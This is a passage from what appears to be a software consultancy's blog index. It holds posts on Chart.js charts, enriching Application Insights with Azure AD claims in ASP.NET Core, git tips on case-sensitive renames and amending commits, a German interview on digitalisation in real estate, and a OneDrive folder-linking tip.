\u0026#34;rgb(255,165,0,0.1)\u0026#34;, \u0026#34;rgb(196,88,80,0.1)\u0026#34;, ], backgroundColor: [ \u0026#34;#3cba9f\u0026#34;, \u0026#34;#ffa500\u0026#34;, \u0026#34;#c45850\u0026#34;, ], borderWidth:4, }] } }); \u0026lt;/script\u0026gt; Im ersten Schritt suchen wir unser Canvas-Element im DOM und holen mit „getContext()“ den aktuell Context, in dem wir agieren. Anschließend initialisiert man mit der Methode „new Chart()“ und den aufbereiteten Daten den Context.\nAbschluss Dieses Tutorial führte dich durch die grundlegenden Schritte zum Erstellen eines Schaubildes mit Chart.js. Dies soll eine Basis bilden, um komplexe Sachverhalte visuell nach eigenen Wünschen abzubilden. Im zweiten Teil der Blogreihe stelle ich anhand eines konkreten Kundenfalls, die überarbeitete Darstellung der Gefährdungsbeurteilung unseres Kunden der BGHM vor. Die besondere Schwierigkeit bestand hier in der Abbildung eines Doughnut-Charts mit zwei Datasets. Innerhalb der Grafik werden die verschiedenen Aufgaben in Untersegmenten abgebildet und durch weitere Fortschrittssegmente angereichert.\n","date":"9. November 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/chart-js-datenvisualisierung-teil-1_hu7f9d3c0bdf5ef770b6a63e448f701d17_66200_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/chart-js-datenvisualisierung-teil-1_hu7f9d3c0bdf5ef770b6a63e448f701d17_66200_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/chart.js-datenvisualisierung-in-einer-.net-core-3.1-webanwendung-teil-1/","tags":["frontend",".net"],"title":"Chart.js – Datenvisualisierung in einer .NET Core 3.1 Webanwendung (Teil 1)"},{"categories":["How to"],"contents":"If you secure your web api with Azure AD, you can enrich your application insights data with user information from the JWT token.\nApplication Insights is a great service in combination with ASP.NET Core web apis. Just with a a few steps, you get tracking of the incoming HTTP requests, tracking of all uncaught exceptions, tracking all your logs written with the ILogger interface as traces and last but not least, tracking outgoing network traffic as dependencies of for your web api.\nAfter running your web api for a couple of days, you will see all the information in the „transaction search“ tab as seen on the sample screenshot below.\nBut what if your web api handels requests in context of authenticated Azure AD users? Application Insights contains an whole tab group to investigate the „usage“ of your application. To be honest, it’s intended for applications that have an user interface and in case of a web api, you wont’t get a lot of insights from here.\nBy default, Application Insights will track all data to a single „anonymous“ user in a single „anonymous“ session. Thats because of missing context information and here this blog post comes into place, to show you how to enrich AppInsights data, so that you can track signed-in Azure AD users and sessions.\nEnrich the Telemetry Context To enrich the telemetry of application Insights, you need to write your own TelemetryInitializer. The idea behind the following implementation is, to use the preferred_username as the User Id that is displayed in the application insights UI, so that an operator can filter all requests made by a user only knowing his Azure AD username. Typically this is the E-Mail address of the user. Additionally this implementation sets the oid object id, the tid tenant id, the sid session id and the azp client id.\npublic class EnrichContextWithAzureAdClaims : TelemetryInitializerBase { public EnrichContextWithAzureAdClaims(IHttpContextAccessor httpContextAccessor) : base(httpContextAccessor) { } protected override void OnInitializeTelemetry(HttpContext platformContext, RequestTelemetry requestTelemetry, ITelemetry telemetry) { // read desired information from the claims send with the JWT token. var userName = platformContext?.User.FindFirst(\u0026#34;preferred_username\u0026#34;)?.Value; var objectId = platformContext?.User.FindFirst(\u0026#34;oid\u0026#34;)?.Value; var tenantId = platformContext?.User.FindFirst(\u0026#34;tid\u0026#34;)?.Value; var sessionId = platformContext?.User.FindFirst(\u0026#34;sid\u0026#34;)?.Value; var applicationId = platformContext?.User.FindFirst(\u0026#34;azp\u0026#34;)?.Value; telemetry.Context.User.Id = userName; telemetry.Context.User.AuthenticatedUserId = objectId; telemetry.Context.User.AccountId = tenantId; telemetry.Context.Session.Id = sessionId; telemetry.Context.GlobalProperties[\u0026#34;ApplicationId\u0026#34;] = applicationId; } } Be aware that you have to explicitly configure your application registration so that every access token for your api contains the preferred_username and sid claim.\nTo use the Telemetry Initializer, you have to modify the Application Startup class as seen below. Be aware that the asp.net framework changes the JWT claim names to be backward compatible with the SAML protocol. In newer implementations this is normally not required and you can opt out to this.\npublic class Startup { public void ConfigureServices(IServiceCollection services) { [...] // register application insights and the EnrichContextWithAzureAdClaims TelemetryInitializer services.AddApplicationInsightsTelemetry(); services.AddSingleton\u0026lt;ITelemetryInitializer, EnrichContextWithAzureAdClaims\u0026gt;(); // register the HttpContextAccessor because EnrichContextWithAzureAdClaims needs to access the HTTP Context to read information out of the claims. services.AddHttpContextAccessor(); [...] // don\u0026#39;t let the asp.net framework change the claim names to old school SAML names. // see https://mderriey.com/2019/06/23/where-are-my-jwt-claims/ for background details. services.Configure\u0026lt;JwtBearerOptions\u0026gt;(JwtBearerDefaults.AuthenticationScheme, options =\u0026gt; { options.MapInboundClaims = false; options.TokenValidationParameters.NameClaimType = \u0026#34;name\u0026#34;; options.TokenValidationParameters.RoleClaimType = \u0026#34;roles\u0026#34;; }); [...] } } And thats it! With this configuration you should see that different users are using your api as on the screenshot below.\n","date":"4. November 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/_hud6334a21f847dbf252e2a0d4bc24fe5c_27578_ca97512183631c83436cba673093bbd7.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/_hud6334a21f847dbf252e2a0d4bc24fe5c_27578_e9b1607c3f6488005652687a2bcf55e5.jpg'\"\u003e\n \n \n \n\n","permalink":"/how-to-enrich-application-insights-with-user-information-from-azure-ad/","tags":["azure",".net"],"title":"How to enrich Application Insights with user information from Azure AD"},{"categories":["Quick-Tipps","Serien"],"contents":"Developers nowadays use git on many different operating systems – mostly Linux, Windows or macOS. Depending on the filesystem in use, there is a difference in how the casing of file and folder names is handled. While Linux for example is case-sensitive, Windows and macOS are not [1]. So, what to do if you are running Windows and want to rename a file being tracked by git from Main.c to main.c?\ngit mv -f Main.c main.c This simple command will enforce a rename of the file on case-insensitive filesystems to make git understand and track it. Note that in order to rename a directory on a case-insensitive file system e.g. from Main to main, you’d have to use the intermediary step\ngit mv Main temp git mv temp main There is also the core.ignoreCase config effectively telling git how to treat the files in your repository regarding to case. The documentation states that\n[…] the default is false, except git-clone[…] or git-init[…] will probe and set core.ignoreCase true if appropriate when the repository is created.\nThat means, if a repository is created on a case-insensitive filesystem like in Windows this option will automatically be initialized to true and developers under Linux have to adjust and vice versa. In general, you should make sure that core.ignoreCase matches your system, otherwise errors may occur on some git operations.\nBonus Since Windows 10 1803 there is an option to enable case-sensitive file and folder names on NTFS for specific directories. Furthermore, Apple’s APFS as well as EXT4 since Linux Kernel version 5.2 support the option to choose whether the file system should be case-sensitive or case-insensitive.\n[1] To be precise here, casing is determined by the filesystem, not the OS. I will use the term Windows here as a representative for default NTFS, respectively macOS for default APFS and Linux for default EXT4.\n","date":"27. Oktober 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/quick-git-case-sensitive-commits_hud72b5351e81504cb3bf3a2d9a2c895f3_17914_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/quick-git-case-sensitive-commits_hud72b5351e81504cb3bf3a2d9a2c895f3_17914_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/quick-git-case-sensitive-commits/","tags":["tooling"],"title":"Quick Git - Case-Sensitive commits"},{"categories":["Insights"],"contents":"Interview mit Stefan Schwärzler, CFOO der Objektkultur Software GmbH mit Sitz in Karlsruhe, und dem Kunden Christian Seidel, Geschäftsführer der LB Immobilienbewertungsgesellschaft mbH mit Sitz in München.\nIn Zusammenarbeit mit dem Digital Futuremag (Ausgabe 10/2021)\nViele mittelständische Unternehmen haben die Zeit der Corona-Pandemie genutzt, um massiv die Digitalisierung im Unternehmen voranzutreiben. Die Situation hat gezeigt, welche Schwachstellen die Unternehmen in Deutschland im Bereich Digitalisierung aufweisen. Um großflächige Maßnahmen in diesem Bereich umzusetzen, entscheiden sich viele Unternehmen für den Einsatz von Microsoft-Technologien. Der Einsatz bewährter Softwaremodule in Kombination mit einem Full-Service-Dienstleister verspricht gute Ergebnisse und langfristige Stabilität. Im Interview mit Stefan Schwärzler und Christian Seidel sprechen wir heute über Erfolgsgaranten für eine langjährige und erfolgreiche Projektpartnerschaft und welche Rolle die Geschäftsführer beider Unternehmen spielen.\nDIGITAL FUTUREmag: Herr Schwärzler, Microsoft war gerade in der jüngsten Vergangenheit extrem betroffen von Cyberangriffen. Microsoft-Technologien sind für Hackerangriffe oft ein beliebtes Ziel. Was spricht Ihrer Meinung nach trotzdem dafür, sich als Unternehmen für Microsoft-Technologien zu entscheiden?\nStefan Schwärzler: Es ist klar, dass Microsoft als Marktführer in diversen Disziplinen und aufgrund seiner Präsenz in der Geschäftskundenwelt massiv von Cyberangriffen betroffen ist. Microsoft hat in den letzten Jahren Milliarden investiert und wird in den kommenden Jahren weitere Milliarden in die Sicherheit ihrer Cloudservices investieren. In zwei einfachen Beispielen will ich kurz aufzeigen, wie sich das in der Praxis darstellt. Zum einen wurden Systemeinbrüche bis vor wenigen Jahren erst nach vielen Wochen bemerkt. Durch intelligente Verhaltensanalyse-Dienste hat sich das auf wenige Sekunden reduziert, so dass sofort automatisiert oder manuell Gegenmaßnahmen ergriffen werden können. Zum anderen ist ein bekanntes Beispiel die Aufdeckung und Lahmlegung des weltweit größten Botnets „Necurs“ im Jahr 2020, das Kriminelle u.a. für Trojaner und Spam-Mails genutzt haben. Für solche Erfolge braucht es SIEM-Lösungen und das Einhalten einer Zero-Trust-Security. Azure Sentinel heißt die SIEM-Lösung von Microsoft, die es Unternehmen ermöglicht, mittels künstlicher Intelligenz Bedrohungen zu erkennen und zu bekämpfen. Wir helfen Unternehmen auf Basis dieser Microsoft-Technologien Identitäten und Daten zuverlässig abzusichern. Über 60% aller Angriffe basieren auf Identitätsdiebstahl, deshalb fangen wir immer mit dem Identitätsmanagement, z. B. eine Cloud-first-Strategie, starke (Multifaktor-)Authentifizierung, an. Microsoft bietet all diese Werkzeuge, um Unternehmen Sicherheit zu gewährleisten. Die größte Schwachstelle ist und bleibt der Mensch.\nDIGITAL FUTUREmag: Wenn sich ein Unternehmen in großem Maßstab dafür entscheidet, vorhandene Prozessabläufe zu digitalisieren, werden in der Regel alle Abteilungen miteinbezogen und vorhandene Dokumentenwege überprüft. Wie ist grundsätzlich Ihre Vorgehensweise bei Objektkultur?\nStefan Schwärzler: In unserer täglichen Beratung merken wir, dass die reine Digitalisierung von manuellen Prozessen nur geringen Mehrwert bringt. Deshalb ist in unserer Beratung mit der wichtigste Baustein, durch die Digitalisierung neue Möglichkeiten zu erschaffen und alle Beteiligten in den Gesamtprozess miteinzubeziehen. Unser Beratungsansatz berücksichtigt deshalb immer das Gesamtbild und stellt die Integration über mehrere Applikationen, Systeme und sogar Clouds in den Mittelpunkt. Miteinander verbundene Anwendungen erzeugen weit größere Mehrwerte als die reine Digitalisierung von Papierprozessen. Unser Vorgehen sieht vor, zunächst mit allen Beteiligten Prozesse zu analysieren und neu zu formen, z. B. über Eventstorming. In der Zusammenarbeit ist es für uns sehr wichtig, ein Team aus unterschiedlichen Rollen zur Verfügung zu stellen, das sich perfekt in das Team des Kunden integriert. Gemeinsam realisieren wir dann die neuen Prozesse mit einem möglichst schlanken Ansatz, um die Komplexität auch für die Zukunft beherrschbar zu halten. Zwei weitere wichtige Schlagwörter zu unserem Vorgehen sind DevOps und Changemanagement. Über DevOps-Methoden stellen wir sicher, dass Software und Systeme im laufenden Betrieb bestmöglich ohne Unterbrechung gewartet werden können. Mittels Changemanagement – und da schließt sich der Kreis – holen wir alle Beteiligten an den Endpunkten ab, damit sie Neuerungen von Anfang an optimal nutzen können.\nDIGITAL FUTUREmag: Die LBImmoWert und die Objektkultur können auf eine lange strategische Zusammenarbeit zurückblicken. Wie war das damals beim ersten Projekt vor 14 Jahren?\nChristian Seidel: Die Objektkultur überzeugte von Anfang an durch ihre offenen und dynamischen MitarbeiterInnen. Sofort war ein Verständnis für unsere Dienstleistung vorhanden, welches bis heute mit den sich ändernden Erfordernissen gewachsen ist. Dieser unkomplizierte und freundschaftliche Ansatz der Zusammenarbeit wird maßgeblich vom gleichen Interesse getragen, die Vision, die Immobilienbewertung durch den Einsatz von Datenbanken und innovativen IT-Lösungen zu reformieren. Die Problemstellungen werden sofort aufgenommen, direkt angesprochen und in einer gemeinsamen Umsetzung gelöst. Getragen von der hohen Einsatzbereitschaft für die Ideen der KundInnen, hat sich die Objektkultur bei uns als Partner durchgesetzt. Der vermittelte Spirit, dass „Nichts unmöglich ist“, schaffte von Beginn an die Atmosphäre, etwas gemeinsam erreichen zu wollen.\nDIGITAL FUTUREmag: Welche Rolle spielen insbesondere die GeschäftsführerInnen bei der Einführung neuer Technologien im Unternehmen und wie gestaltet sich Ihrer Meinung nach eine langjährige und erfolgreiche Projektpartnerschaft?\nStefan Schwärzler: Sie sprechen das richtige Wort an: Projektpartnerschaft. Die Kunden-Lieferanten-Beziehungen haben sich in den letzten Jahren stark verändert. Zulieferverhältnisse oder verlängerte Werkbank gibt es nach wie vor. Objektkultur strebt aber bei all seinen KundInnen ein partnerschaftliches Verhältnis an. Grundlage dafür ist ein positiver und direkter Kommunikationsstil auf allen Ebenen und somit auch in der Geschäftsführung. Unsere Erfahrungen damit sind ausnahmslos positiv. Das bringt mich zum ersten Teil Ihrer Frage. Gerade im Basis für eine langjährige erfolgreiche Partnerschaft ist eine offene Kommunikation. Management und vor allem in der Geschäftsführung eines Unternehmens muss der Wille zur Veränderung und zur Einführung neuer Technologien vorhanden sein. Ohne diesen Willen können die MitarbeiterInnen noch so innovative Impulse geben, sie werden sich nur schwer realisieren lassen. Die Geschäftsführung muss hier mit positivem Beispiel vorangehen und diese Verantwortung auch vorleben. Das gilt für mich hier bei Objektkultur als Geschäftsführer und als Verantwortlicher für das operative Geschäft und die interne Verwaltung genauso. Wir müssen uns ständig und stetig weiterentwickeln, in den Prozessen und in der Technologie.\nChristian Seidel: Basis für eine langjährige und erfolgreiche Partnerschaft ist eine offene Kommunikation. Die Sichtweise von SpezialistInnen gepaart mit einer langjährigen Erfahrung kann bei der Realisierung von visionären Projekten sehr hilfreich sein, auch wenn es manchmal eine Abkehr des bereits eingeschlagenen Wegs bedeutet. Mit Objektkultur haben wir einen Partner an unserer Seite, der uns immer auf neue Technologien und deren Einsatzpotentiale für unsere Unternehmensziele hinweist. Zudem haben wir mit Objektkultur einen Spezialisten, der uns hilft, unsere Visionen Realität werden zu lassen. Genauso wichtig ist es, die MitarbeiterInnen für Erneuerungen zu begeistern. Auf mögliche Ängste und Vorurteile ist sehr sensibel einzugehen. Eine transparente Kommunikation ist hier unumgänglich, um die Vorteile der neuen Technologien in die Belegschaft zu transportieren. Nur so kann eine Begeisterung für Neuerungen geschaffen werden und zum unternehmerischen Erfolg beitragen. Um neue Technologien in Unternehmen einzuführen, ist es evident, dass die Geschäftsführung gegenüber Erneuerungen aufgeschlossen ist und die Potentiale, welche sich daraus für das Unternehmen ergeben, erkennt.\nInterview-Partner Stefan Schwärzler | CFOO der Objektkultur Software GmbH\nChristian Seidel | Geschäftsführer der LB Immobilienbewertungsgesellschaft mbH\nDIGITAL FUTUREmag: Die LBImmoWert ist schon seit vielen Jahren Kunde der Objektkultur. Wie würden Sie das ganzheitliche Projekt zusammenfassen? Was wurde von Objektkultur umgesetzt und wie sehen zukünftige Projekte aus?\nStefan Schwärzler: Herr Seidel und das Team der LBImmoWert haben von Tag 1 erkannt, dass es für ihr Geschäftsmodell unabdingbar ist, eine individuell passende Software-Lösung einzusetzen und diese in einer langfristigen, echten Partnerschaft umzusetzen sowie stetig weiterzuentwickeln. Mittlerweile betreiben wir die Plattform gemeinsam seit weit über 10 Jahren.\nChristian Seidel: Damals haben wir begonnen, gemeinsam mit Objektkultur unseren Auftrags- und Research-Manager, kurz ARM, aufzubauen. ARM wurde seitdem weiterentwickelt und stellt das Kernstück für das Auftragsmanagement in der LBImmoWert dar. Mit Hilfe einer durch Objektkultur eigens entwickelten Besichtigungs-App haben die GutachterInnen, bevor sie die Besichtigung starten, auf seinem Smartphone Zugriff auf eine Vielzahl der in ARM hinterlegten Informationen, wie beispielsweise die notwendigen AnsprechpartnerInnen, Adressen sowie Unterlagen. Basierend auf einem von unseren GutachterInnen ausgearbeiteten Vorgehensmodells werden definierte Besichtigungsmerkmale in der App erfasst und fotografiert. Mit der Digitalisierung der Besichtigung konnte ein wichtiger Schritt in Richtung Effizienzsteigerung erreicht werden. Die jüngsten, gemeinsam mit Objektkultur realisierten´Projekte, waren WikiValue und WI24. Mit dem Informationstool WikiValue erhalten die GutachterInnen nach Eingabe weniger Parameter auf Knopfdruck eine Schnellinformation für eine erste, grobe Orientierung zur möglichen Einordnung des Objekts in den Kontext der bereits im System befindlichen Immobilien. Mit der Wertindikation WI24 konnten wir durch die Unterstützung von Objektkultur ein digitales Tool schaffen, welches die Wertermittlung von größeren Objektklassen beschleunigt. Durch die Nutzung der auf der Plattform integrierten, innovativen digitalen Tools sowie Auswertungsmethoden der umfangreichen LBImmoWert-Datenbank können die erfahrenen GutachterInnen flächendeckend in ganz Deutschland bereits nach 24 Stunden eine verlässliche gutachterliche Indikation zum Markt- und Beleihungswert sowie Bodenwert und Restnutzungsdauer ermitteln.\nDIGITAL FUTUREmag: Herr Seidel, wie hebt sich die innovative, digitale Plattform vom Wettbewerb ab?\nChristian Seidel: Unsere Datenbank, auf der auch unsere beiden Tools WI24 und WikiValue beruhen, basiert zum Großteil auf den von GutachterInnen erfassten und verifizierten Angaben in Gutachten sowie auf realen Transaktionen. Andere Anbieter mit vergleichbaren Tools verwenden für ihre Auswertung überwiegend Angebotsdaten. Ein weiterer Vorteil der LBImmoWert-Datenbank ist die hohe Anzahl an Daten zu gewerblichen Immobilien darunter auch Spezialimmobilien. Des Weiteren setzen wir auf unserer innovativen, digitalen Plattform Location Intelligence ein. Mittels 800 verschiedener Geodaten ermittelt ein KI-Modell auf Grundlage der LBImmoWert-Datenbank ein relatives Miet- bzw. Kaufpreisniveau und weist dieses in einer Karte aus. Anhand einer feingranularen Auswertung, sprich in Form von Kacheln der Größe von 25 m auf 25 m, sind Aussagen zu den in diesem Bereich marktüblichen Mieten und Kaufpreisen je m² Nutzfläche möglich. Aktuell wird die Location Intelligence für Büro- und Wohnimmobilien in den Top-7-Städten in Deutschland verwendet. Ein Ausbau auf weitere Assetklassen und Städte ist in Bearbeitung.\nDIGITAL FUTUREmag: Was hat sich seit dem Projektbeginn vor 14 Jahren im Markt verändert?\nChristian Seidel: Nahm die LBImmoWert damals eine Vorreiterfunktion für die Entwicklung und den Aufbau von Datenbanken im Bereich Immobilienbewertung und Research ein, hat sich heute der Einsatz von Datenbanken und digitalen Anwendungen in der Immobilienbewertung etabliert. Jedoch liegt der Fokus der meisten Wettbewerber auf den wohnwirtschaftlichen Objekten und hier insbesondere auf dem Kleindarlehensbereich für Einfamilienhäusern und Eigentumswohnungen. Die Fokussierung der LBImmoWert dagegen richtet sich auf gewerbliche Objekte sowie auf Spezialimmobilien, wie Logistikhallen, Hotels, Pflegeheime etc., wodurch wir uns deutlich von den Wettbewerbern abheben. So können wir aufgrund dieses außergewöhnlichen „Datenschatzes“ explizite Auswertungen zu diesen Spezialimmobilien liefern.\nStefan Schwärzler: Über die Jahre verändern sich zudem nicht nur der Markt, sondern auch Rahmenbedingungen, wie z. B. gesetzliche Vorgaben, Technologien etc. Das sind Dinge, auf die man bestmöglich frühzeitig reagieren muss. Zwischenzeitlich wurden diverse technologische Sprünge vollzogen und neue Features genutzt, so dass die Anwendung für ihre BenutzerInnen immer State-of-the-art war und ist. Für die Zukunft sehen wir vor allem den vermehrten Einsatz von künstlicher Intelligenz, um z. B. Vorhersagen für Immobilienbewertungen treffen zu können.\nDIGITAL FUTUREmag: Erfolgreiche Unternehmen sind auf engagierte MitarbeiterInnen angewiesen. Was sind die wesentlichen Kennzeichen der Unternehmenskultur bei der LBImmoWert?\nChristian Seidel: Die LBImmoWert hat bereits vor über zehn Jahren begonnen, gemeinsam mit den MitarbeiterInnen die Unternehmenskultur zu gestalten. Im Rahmen von Workshops sind Leitlinien für das Unternehmen erstellt worden. Gemeinsam mit der Belegschaft konnten wir 2019 unsere Visionen 2025 erarbeiten. Dabei haben wir beispielsweise einen Schwerpunkt auf die Fitness gelegt. Aktuell startet bei uns mit LBImmoFit eine Initiative zur Gesundheitsförderung im Unternehmen. In einer aktiven Pause können die KollegInnen am Arbeitsplatz über Microsoft Teams an einem Workout teilnehmen. Leider musste dieses Jahr, wie bereits auch schon 2020, Corona-bedingt unsere traditionelle Firmenveranstaltung, die für alle MitarbeiterInnen ein Jahres-Highlight darstellt, ausfallen. Normalerweise freuen sich die KollegInnen auf den persönlichen Austausch in einer entspannten Atmosphäre. Neben fachlichen Themen wird auch ein großer Fokus auf gemeinsame Freizeitaktivitäten, sei es eine Wanderung mit anschließendem Sommerrodeln in den bayerischen Alpen, Rafting auf der Isar oder ein Drachenbootrennen auf der Havel, gelegt.\nDIGITAL FUTUREmag: Lassen Sie uns gemeinsam noch ein wenig in die Zukunft schauen. Wo werden die Unternehmen in fünf Jahren stehen? Was sind Ihre strategischen Ziele?\nChristian Seidel: Die LBImmoWert strebt in den nächsten Jahren unverändert ein deutliches Wachstum an. Die rapiden Veränderungen in den IT-Landschaften der KundInnen stellen uns vor die Herausforderung, die Aufträge möglichst effizient und strukturiert anzunehmen. Daher möchten wir ein Front-End entwickeln, welches bereits erste Arbeitsschritte der Strukturierung und Datenanalyse durchführt.\nStefan Schwärzler: Hier gehen wir in die gleiche Richtung. Wir wollen mit Objektkultur weiter aus eigener Kraft organisch wachsen. In den letzten fünf Jahren haben wir unsere Größe mehr als verdoppelt. Das sollte uns auch in den nächsten fünf Jahren gelingen. Die Weichen dafür sind gestellt. In der Zusammenarbeit mit unseren Kunden und Partnern ist es uns vor allem wichtig, bis dahin alles soweit digitalisiert zu haben, dass nur noch über Optimierung und nicht mehr über die eigentliche Digitalisierung gesprochen werden muss. Für uns geht das Hand in Hand mit der Tatsache, dass alle von uns entwickelten Lösungen in einer Cloud betrieben werden. Zum Thema künstliche Intelligenz gehen wir davon aus, dass ein signifikanter Anteil unserer Projektvorhaben diese zum Inhalt hat.\nDIGITAL FUTUREmag: Herzlichen Dank für das spannende Gespräch sowie die anschaulichen Einblicke in Ihre beiden Geschäftsbereiche.\n","date":"21. Oktober 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/digitalisierung-immobilien-und-bankbranche_huc53cc2d3f1223ee78c928a806e77c4b8_753343_650x0_resize_q90_h2_box_3.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/digitalisierung-immobilien-und-bankbranche_huc53cc2d3f1223ee78c928a806e77c4b8_753343_650x0_resize_box_3.png'\"\u003e\n \n \n \n\n","permalink":"/digitalisierung-in-der-immobilien-und-bankbranche-von-der-vision-bis-in-den-betrieb/","tags":["azure","microsoft-365"],"title":"Digitalisierung in der Immobilien- und Bankbranche – von der Vision bis in den Betrieb"},{"categories":["Quick-Tipps"],"contents":"OneDrive bietet mittlerweile eine breite Reihe an extra Features, welche auf den ersten Blick nicht sofort einsehbar sind. Mit Microsoft Teams haben sich die entsprechenden OneDrive-Ordner vervielfacht. Als Benutzer verwendet man allerdings nicht alle Ordner der jeweiligen Teams. OneDrive bietet mit dem Feature zum Erstellen von Shortcuts zu freigegebenen Ordnern anderer Teams, eine Verlinkung der entsprechenden Ordner im persönlichen OneDrive. In diesem Beitrag möchte ich auf die Funktionsweise eingehen und die aktuellen Einschränkungen teilen.\nWir beraten Unternehmen bei ihrer Digitalstrategie und finden für jedes Szenario die passende Lösung aus den fast unbegrenzten Möglichkeiten rund um Microsoft 365. Funktionsweise Um einen geteilten Ordner in seinem persönlichen OneDrive als Verlinkung anzeigen zu können, muss zunächst OneDrive über den Browser geöffnet und zu den geteilten Inhalten navigiert werden.\nDort kann der jeweilige Ordner zunächst ausgewählt werden. Im oberen Menüband kann der Ordner dann dem persönlichen OneDrive hinzugefügt werden.\nWenn man nun in die Übersicht der persönlichen Dokumente wechselt, erscheint der entsprechende Ordner in der Übersicht. Dieser wird auch via OneDrive-Client auf den Computer synchronisiert.\nEinschränkungen Zum gegenwärtigen Zeitpunkt lassen sich nur Ordner als Verlinkung in seinen persönlichen OneDrive-Dokumenten anlegen. Einzelne Dateien werden aktuell nicht unterstützt. Die Verlinkung kann auch nur über das Web eingerichtet werden, obgleich eine lokale spätere Synchronisierung auf den Computer funktioniert. Außerdem kann sich der geteilte Ordner nur auf der obersten Ebene befinden und somit nicht in die bestehende Ordnerstruktur integriert werden.\nFazit Die neue Funktionalität, verlinkte Ordner in die eigene OneDrive-Struktur zu integrieren, bietet eine große Erleichterung bei der Übersicht der geteilten Dokumente und verbessert die Zusammenarbeit. Leider ist eine Integration der geteilten und verlinkten Ordner in tiefere Ebenen der eigenen Ordnerstruktur nicht möglich, was eine umfangreiche Nutzung dieser Funktionalität wohl zur Unübersichtlichkeit des persönlichen OneDrive-Ordners führt, da die Verlinkungen auf oberster Ebene angelegt werden. Interessant wäre diese Funktionalität auch auf Teams-Ebene. Dadurch hätten alle Mitglieder eines Teams Zugriff auf verlinkte Ordner, direkt aus dem gemeinsamen OneDrive-Bereich des Teams. Auch muss das Verlinken aktuell über das Web erfolgen, der OneDrive-Client unterstützt dies zurzeit nicht. Lediglich das Entfernen der Verlinkung kann aus dem Client heraus erfolgen.\nWir beraten Unternehmen bei ihrer Digitalstrategie und finden für jedes Szenario die passende Lösung aus den fast unbegrenzten Möglichkeiten rund um Microsoft 365. ","date":"21. Oktober 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/onedrive-verlinkung-von-ordnern_huc3469615f2091be27a56c40e20360995_18057_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/onedrive-verlinkung-von-ordnern_huc3469615f2091be27a56c40e20360995_18057_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/onedrive-verlinkung-von-ordnern/","tags":["microsoft-365"],"title":"OneDrive: Verlinkung von Ordnern"},{"categories":["Quick-Tipps","Serien"],"contents":"Have you ever found yourself in the situation of having committed your work already, only to realize directly afterwards you forgot something important which definitely belongs in that commit, too? So you do your changes, make a new commit, rebase interactive and squash both commits together to have your branch history clean. Is that totally you? Well, I have a time saver for you.\ngit add . git commit --amend --no-edit This will incorporate all the subsequent changes you just did into the last commit. First, add the changes you want to have included. On commit, the \u0026ndash;amend switch will then tell git to replace the latest commit on the current branch with the new one. The message of the latest commit is thereby taken as a base for the new commit – and by specifying \u0026ndash;no-edit, we tell git we don’t want to be prompted for a new commit message and are happy to just silently take over the existing one.\nBe aware, though, that behind the curtains a whole new commit is created. That is, a commit with the same author, parent and timestamp, bundling all the changes together – but with a new hash. Therefore, this operation rewrites history and can only be safely applied if the latest commit hasn’t been pushed yet.\nAs a sidenote: if you do want the author timestamp to be updated on \u0026ndash;amend, you can add the \u0026ndash;reset-author switch like so\ngit commit --amend --no-edit --reset-author Bonus In case you don’t have any changes to accumulate but want nothing more than simply changing the commit message of the latest commit you just did – maybe because of a typo – omit the git add and –-no-edit and just leverage\ngit commit --amend ","date":"13. Oktober 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/quick-git-update-a-commit_hu832340ccb32556d663f27220e8cbda3e_28838_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/quick-git-update-a-commit_hu832340ccb32556d663f27220e8cbda3e_28838_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/quick-git-update-a-commit/","tags":["tooling"],"title":"Quick Git - Update a commit"},{"categories":["How to"],"contents":"SharePoint (Online und OnPremises) bietet seit geraumer Zeit die Option neue Webseiten im Modern Experience zu erstellen. Der Vorteil gegenüber klassischen Webseiten ist u.a. die dynamische Anordnung der Webparts in einem agilen Seitenlayout. SharePoint bietet 